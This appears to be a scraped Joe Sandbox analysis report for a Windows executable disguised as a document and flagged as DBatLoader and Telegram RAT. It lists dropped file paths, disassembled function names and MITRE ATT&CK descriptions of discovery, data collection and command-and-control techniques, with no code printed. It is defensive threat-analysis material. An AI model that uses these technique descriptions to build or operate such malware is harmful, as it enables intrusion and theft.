Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report D.G Governor Istek,Docx.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Threatname: Telegram RAT

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Cneehezx.url

C:\Users\Public\CneehezxF.cmd

C:\Users\Public\Libraries\Cneehezx

C:\Users\Public\Libraries\Cneehezx.PIF

C:\Users\Public\Libraries\FX.cmd

C:\Users\Public\Libraries\NEO.cmd

C:\Users\Public\Libraries\xzeheenC.pif

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
D.G Governor Istek,Docx.exe

Function 029D8BB0 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Function 029D8BAE Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Function 029C5A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre